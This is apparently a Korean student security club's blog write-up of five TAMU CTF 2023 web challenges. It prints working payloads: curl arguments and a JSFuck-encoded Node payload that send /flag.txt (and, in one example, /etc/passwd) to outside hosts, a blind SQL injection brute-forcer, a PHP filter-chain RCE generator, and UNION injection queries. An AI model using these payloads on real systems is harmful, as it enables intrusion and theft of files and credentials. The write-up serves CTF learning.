TAMU CTF 2023 writeups

sani·2023년 5월 1일
0

WRITEUPS

목록 보기
3/5
post-thumbnail

WEB - Connect

app.py

import flask
import os

def escape_shell_cmd(data):
    for char in data:
        if char in '&#;`|*?~<>^()[]{}$\\':
            return False
        else:
            return True

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return flask.render_template('index.html')

# select * from user where uid = 'asdfasdfasdf' union select 1 --';

@app.route('/api/curl', methods=['POST'])
def curl():
    url = flask.request.form.get('ip')
    if escape_shell_cmd(url):
        command = "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'"
        output = os.popen(command).read().strip()
        if 'HTTP' not in output:
            return flask.jsonify({'message': 'Error: No response'})
        return flask.jsonify({'message': output})

    else:
        return flask.jsonify({'message': 'Illegal Characters Detected'})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8001)

url 을 입력하면, 해당 url 로 curl 통신을 보내고, 응답값을 알려주는 사이트이다.

command injection 을 하지 못하게 특수문자들을 필터링하고 있다.

flag는 /flag.txt에 담겨있는데, curl 통신의 -d 옵션을 사용하면, 해당 파일 내용을 post 로 담아서 전송이 가능하다.

example

curl -d @/etc/passwd http://posttestserver.com/post.php

따라서 변수 값을 잘 조정하여 /flag.txt 값을 전송하게 하면 flag 값을 알아 낼 수 있다.

payload

https://hmhhbbm.request.dreamhack.games/ -d %40/flag.txt

@을 url인코딩 처리한 이유는 index.html 에서 url 입력값을 url 객체로 만든 후, /api/curl 로 전송하는데,

@을 url인코딩 처리를 하지 않으면 url 객체 생성시 오류가 발생하여 url 처리를 하였다.


WEB - Logical

username을 입력하고, username이 데이터 베이스에 존재한다면 메일을 발송하는 문제이다.

username=' or 1 # 이러한 페이로드를 전송하였을때,

{
"res":"exists"
}

username=' and 0 # 이러한 페이로드를 전송하였을때,

{
"res":"not exists"
}

이러한 응답 값이 오는 것을 보아, sqli가 가능함을 알 수 있다.

그러나 직접적인 값은 알 수 없으므로 blind sqli 을 이용해야 한다.

payload

import requests

url = "http://logical.tamuctf.com/api/chpass"
result = ""

for i in range(1, 50):
    for c in range(32, 128):
        payload = f"admin' and ascii(substr(password,{i},1))={c}#"

        res = requests.post(url, data={"username" : payload})
        print(payload)
        if res.json()["res"] != "not exists":
            result += chr(c)
            print(result)
            break
	if len(result) == i-1:
			break

print(result)

WEB - Migraine

app.js

const path = require('path');
const express = require("express");
const app = express();
const port = 8000;

app.use(express.json());

process.on('uncaughtException', (err, origin) => {
    console.log(err);
});

app.get("/", function (req, res) {
    res.sendFile(path.join(__dirname+'/static/index.html'));
});

app.post("/", function (req, res) {
    var src = req.body['src'];

    if (src.match(/[A-Za-z0-9]/) != null) {
        res.status(418).end('Bad character detected.');
        return;
    }

    try {
        eval(src);
    } catch(err) {
        res.status(418).end('Error on eval.');
        return;
    }

    res.status(200).send('Success!');
    return;
});

app.listen(port, function () {
    console.log(`Example app listening on port ${port}!`);
});

값을 입력 한 후, 그 값을 eval 함수에 넣어서 작동 결과를 알려주는 사이트이다.

그러나 정규식이 있어서 일반적인 방법으로는 rce가 불가능 하다.

if (src.match(/[A-Za-z0-9]/) != null) {
        res.status(418).end('Bad character detected.');
        return;
    }

그러나 js에는 기괴한 문법이 있는데…

js fuck은 [, ], !, + 밖에 사용하지 않기 때문에 js fuck을 사용하면 위의 정규식을 우회할 수 있다.

아래 페이로드를 js fuck 인코딩을 한후 전송하면 된다

payload

encoding site : http://www.jsfuck.com/

process.mainModule.require("https").get("https://mxgirfa.request.dreamhack.games/?flag="+process.mainModule.require("fs").readFileSync("/flag.txt").toString())

WEB - Blackbox

로그인 기능이 있는 사이트 이다.

page 변수값을 받아서 렌더링 시켜주는데, 이 변수값에 다른 값을 넣으면 아래와 같이

오류가 발생하고, include 함수를 사용한다는 것을 알 수 있다.

그러나 뒤에 .php가 붙기 때문에 플래그 값을 바로 가져 올 수는 없다.

그러나 include 함수는 php://filter를 사용 가능한데, php://filter 를 이용하여서 RCE가 가능하다.

payload

file_to_use = "/var/www/html/index"
command = "ls /"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}

# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"

for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}&0={command}"

print(final_payload)

Reference : https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

실행 결과 :

include 함수가 존재할때, 매우 강력한 페이로드 인것 같다.


WEB - Lost and Forgotten

검색 기능이 있는 게시판이고, 글을 보기 위해서는 secret code가 필요한 사이트이다.

search 부분에 별다른 필터링 / 이스케이프 처리가 되어있지 않기 때문에, sqli 이 가능하다.

또한 union 연산자를 사용가능한데, 검색결과가 바로 나타나기 때문에 union을 사용하여 빠르게 원하는 값을 알 수 있다.

payload

컬럼 이름

query=' or 1 union select 1,2,(select column_name from information_schema.columns where table_schema=database() and table_name="articles" limit 5,1),4,5,6 from articles #

secret code 획득

' or 1 union select 1,2,access_code,4,5,6 from articles #

profile
창원대학교 보안동아리 CASPER

0개의 댓글